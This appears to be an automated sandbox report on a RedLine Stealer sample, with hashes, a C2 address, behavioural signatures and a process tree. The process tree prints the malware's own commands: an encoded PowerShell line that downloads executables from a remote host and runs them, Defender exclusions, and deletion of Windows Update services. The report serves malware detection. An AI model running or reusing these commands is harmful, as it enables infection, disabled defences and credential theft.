Analysis
- max time kernel
47s - max time network
79s - platform
windows10-2004_x64 - resource
win10v2004-20220901-en - resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system - submitted
06/01/2023, 13:34
Static task
static1
Behavioral task
behavioral1
Sample
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
Resource
win7-20221111-en
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
Resource
win10v2004-20220901-en
19 signatures
150 seconds
General
- Target 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe
- Size 196KB
- Sample230106-qvhedsgf83
- SHA256 d9019aa8a43c692e6aea363a4854981ce8f5181fe33e7cfa5acd7deb72ba7b25
- MD5 d9123023e8308e110c5d1dc10b294a82
- SHA1 4e6ed24872903d3ce33322d873fe5c366d3969c1
- SHA512 d5d6d705e8a8bc1bfc0d3183e2e0e4bad0c4fe26eb6e4924b33373459e2f1f2630d7d15f3143748ff678aef427a5729b8b39217b79fd67dd38fe1c52af5c35c5
- SSDEEP 6144:oIXeZ//p6oOD3Hvt1F3QAOijgGSLa5/Nc:tOF/oFwMXka5O
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
redline
Botnet
-
1
C2
-
107.182.129.73:21733
Attributes
-
auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
- Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe - RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4136-201-0x0000000000400000-0x0000000000420000-memory.dmp family_redline - Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1868 created 2640 1868 SmartDefRun.exe 32 PID 1868 created 2640 1868 SmartDefRun.exe 32 PID 1868 created 2640 1868 SmartDefRun.exe 32 PID 1868 created 2640 1868 SmartDefRun.exe 32 PID 520 created 620 520 powershell.EXE 75 - Blocklisted process makes network request 1 IoCs
flow pid Process 18 2416 powershell.exe - Downloads MZ/PE file
- Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe - Executes dropped EXE 4 IoCs
pid Process 572 C4Loader.exe 4724 new2.exe 1296 SysApp.exe 1868 SmartDefRun.exe - Stops running service(s) 3 TTPs
- Uses the VBS compiler for execution 1 TTPs
- Drops file in System32 directory 2 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 5040 set thread context of 1088 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 85 PID 1868 set thread context of 372 1868 SmartDefRun.exe 119 PID 4724 set thread context of 4136 4724 new2.exe 124 PID 520 set thread context of 1492 520 powershell.EXE 127 - Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe - Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3196 sc.exe 4700 sc.exe 4784 sc.exe 1836 sc.exe 3024 sc.exe - Program crash 2 IoCs
pid pid_target Process procid_target 3460 5040 WerFault.exe 80 4512 4724 WerFault.exe 95 - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE - Suspicious behavior: EnumeratesProcesses 33 IoCs
pid Process 2416 powershell.exe 2416 powershell.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1296 SysApp.exe 1868 SmartDefRun.exe 1868 SmartDefRun.exe 3808 powershell.exe 3808 powershell.exe 1868 SmartDefRun.exe 1868 SmartDefRun.exe 1868 SmartDefRun.exe 1868 SmartDefRun.exe 4272 powershell.exe 4272 powershell.exe 1868 SmartDefRun.exe 1868 SmartDefRun.exe 520 powershell.EXE 1504 powershell.EXE 520 powershell.EXE 1504 powershell.EXE 520 powershell.EXE 1492 dllhost.exe 1492 dllhost.exe 1492 dllhost.exe 1492 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2416 powershell.exe Token: SeDebugPrivilege 3808 powershell.exe Token: SeDebugPrivilege 4272 powershell.exe Token: SeIncreaseQuotaPrivilege 4272 powershell.exe Token: SeSecurityPrivilege 4272 powershell.exe Token: SeTakeOwnershipPrivilege 4272 powershell.exe Token: SeLoadDriverPrivilege 4272 powershell.exe Token: SeSystemProfilePrivilege 4272 powershell.exe Token: SeSystemtimePrivilege 4272 powershell.exe Token: SeProfSingleProcessPrivilege 4272 powershell.exe Token: SeIncBasePriorityPrivilege 4272 powershell.exe Token: SeCreatePagefilePrivilege 4272 powershell.exe Token: SeBackupPrivilege 4272 powershell.exe Token: SeRestorePrivilege 4272 powershell.exe Token: SeShutdownPrivilege 4272 powershell.exe Token: SeDebugPrivilege 4272 powershell.exe Token: SeSystemEnvironmentPrivilege 4272 powershell.exe Token: SeRemoteShutdownPrivilege 4272 powershell.exe Token: SeUndockPrivilege 4272 powershell.exe Token: SeManageVolumePrivilege 4272 powershell.exe Token: 33 4272 powershell.exe Token: 34 4272 powershell.exe Token: 35 4272 powershell.exe Token: 36 4272 powershell.exe Token: SeIncreaseQuotaPrivilege 4272 powershell.exe Token: SeSecurityPrivilege 4272 powershell.exe Token: SeTakeOwnershipPrivilege 4272 powershell.exe Token: SeLoadDriverPrivilege 4272 powershell.exe Token: SeSystemProfilePrivilege 4272 powershell.exe Token: SeSystemtimePrivilege 4272 powershell.exe Token: SeProfSingleProcessPrivilege 4272 powershell.exe Token: SeIncBasePriorityPrivilege 4272 powershell.exe Token: SeCreatePagefilePrivilege 4272 powershell.exe Token: SeBackupPrivilege 4272 powershell.exe Token: SeRestorePrivilege 4272 powershell.exe Token: SeShutdownPrivilege 4272 powershell.exe Token: SeDebugPrivilege 4272 powershell.exe Token: SeSystemEnvironmentPrivilege 4272 powershell.exe Token: SeRemoteShutdownPrivilege 4272 powershell.exe Token: SeUndockPrivilege 4272 powershell.exe Token: SeManageVolumePrivilege 4272 powershell.exe Token: 33 4272 powershell.exe Token: 34 4272 powershell.exe Token: 35 4272 powershell.exe Token: 36 4272 powershell.exe Token: SeIncreaseQuotaPrivilege 4272 powershell.exe Token: SeSecurityPrivilege 4272 powershell.exe Token: SeTakeOwnershipPrivilege 4272 powershell.exe Token: SeLoadDriverPrivilege 4272 powershell.exe Token: SeSystemProfilePrivilege 4272 powershell.exe Token: SeSystemtimePrivilege 4272 powershell.exe Token: SeProfSingleProcessPrivilege 4272 powershell.exe Token: SeIncBasePriorityPrivilege 4272 powershell.exe Token: SeCreatePagefilePrivilege 4272 powershell.exe Token: SeBackupPrivilege 4272 powershell.exe Token: SeRestorePrivilege 4272 powershell.exe Token: SeShutdownPrivilege 4272 powershell.exe Token: SeDebugPrivilege 4272 powershell.exe Token: SeSystemEnvironmentPrivilege 4272 powershell.exe Token: SeRemoteShutdownPrivilege 4272 powershell.exe Token: SeUndockPrivilege 4272 powershell.exe Token: SeManageVolumePrivilege 4272 powershell.exe Token: 33 4272 powershell.exe Token: 34 4272 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5040 wrote to memory of 652 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 82 PID 5040 wrote to memory of 652 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 82 PID 5040 wrote to memory of 652 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 82 PID 5040 wrote to memory of 4572 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 83 PID 5040 wrote to memory of 4572 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 83 PID 5040 wrote to memory of 4572 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 83 PID 5040 wrote to memory of 952 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 84 PID 5040 wrote to memory of 952 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 84 PID 5040 wrote to memory of 952 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 84 PID 5040 wrote to memory of 1088 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 85 PID 5040 wrote to memory of 1088 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 85 PID 5040 wrote to memory of 1088 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 85 PID 5040 wrote to memory of 1088 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 85 PID 5040 wrote to memory of 1088 5040 4e6ed24872903d3ce33322d873fe5c366d3969c1.exe 85 PID 1088 wrote to memory of 2416 1088 vbc.exe 89 PID 1088 wrote to memory of 2416 1088 vbc.exe 89 PID 1088 wrote to memory of 2416 1088 vbc.exe 89 PID 2416 wrote to memory of 572 2416 powershell.exe 94 PID 2416 wrote to memory of 572 2416 powershell.exe 94 PID 2416 wrote to memory of 572 2416 powershell.exe 94 PID 2416 wrote to memory of 4724 2416 powershell.exe 95 PID 2416 wrote to memory of 4724 2416 powershell.exe 95 PID 2416 wrote to memory of 4724 2416 powershell.exe 95 PID 2416 wrote to memory of 1296 2416 powershell.exe 96 PID 2416 wrote to memory of 1296 2416 powershell.exe 96 PID 2416 wrote to memory of 1296 2416 powershell.exe 96 PID 2416 wrote to memory of 1868 2416 powershell.exe 97 PID 2416 wrote to memory of 1868 2416 powershell.exe 97 PID 3500 wrote to memory of 4700 3500 cmd.exe 108 PID 3500 wrote to memory of 4700 3500 cmd.exe 108 PID 3500 wrote to memory of 4784 3500 cmd.exe 109 PID 3500 wrote to memory of 4784 3500 cmd.exe 109 PID 3500 wrote to memory of 1836 3500 cmd.exe 111 PID 3500 wrote to memory of 1836 3500 cmd.exe 111 PID 3500 wrote to memory of 3024 3500 cmd.exe 112 PID 3500 wrote to memory of 3024 3500 cmd.exe 112 PID 3500 wrote to memory of 3196 3500 cmd.exe 113 PID 3500 wrote to memory of 3196 3500 cmd.exe 113 PID 3500 wrote to memory of 4956 3500 cmd.exe 114 PID 3500 wrote to memory of 4956 3500 cmd.exe 114 PID 3500 wrote to memory of 4568 3500 cmd.exe 115 PID 3500 wrote to memory of 4568 3500 cmd.exe 115 PID 3500 wrote to memory of 648 3500 cmd.exe 116 PID 3500 wrote to memory of 648 3500 cmd.exe 116 PID 3500 wrote to memory of 1036 3500 cmd.exe 117 PID 3500 wrote to memory of 1036 3500 cmd.exe 117 PID 3500 wrote to memory of 5088 3500 cmd.exe 118 PID 3500 wrote to memory of 5088 3500 cmd.exe 118 PID 1868 wrote to memory of 372 1868 SmartDefRun.exe 119 PID 4724 wrote to memory of 4136 4724 new2.exe 124 PID 4724 wrote to memory of 4136 4724 new2.exe 124 PID 4724 wrote to memory of 4136 4724 new2.exe 124 PID 4724 wrote to memory of 4136 4724 new2.exe 124 PID 4724 wrote to memory of 4136 4724 new2.exe 124 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 520 wrote to memory of 1492 520 powershell.EXE 127 PID 1492 wrote to memory of 620 1492 dllhost.exe 75
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\system32\dwm.exe"dwm.exe"1⤵PID:408
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2640
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C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe"C:\Users\Admin\AppData\Local\Temp\4e6ed24872903d3ce33322d873fe5c366d3969c1.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5040 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:652
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:4572
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵PID:952
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2416 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:572
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4724 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵PID:4136
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 4886⤵
- Program crash
PID:4512
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1296
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1868
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5040 -s 2643⤵
- Program crash
PID:3460
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3808
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
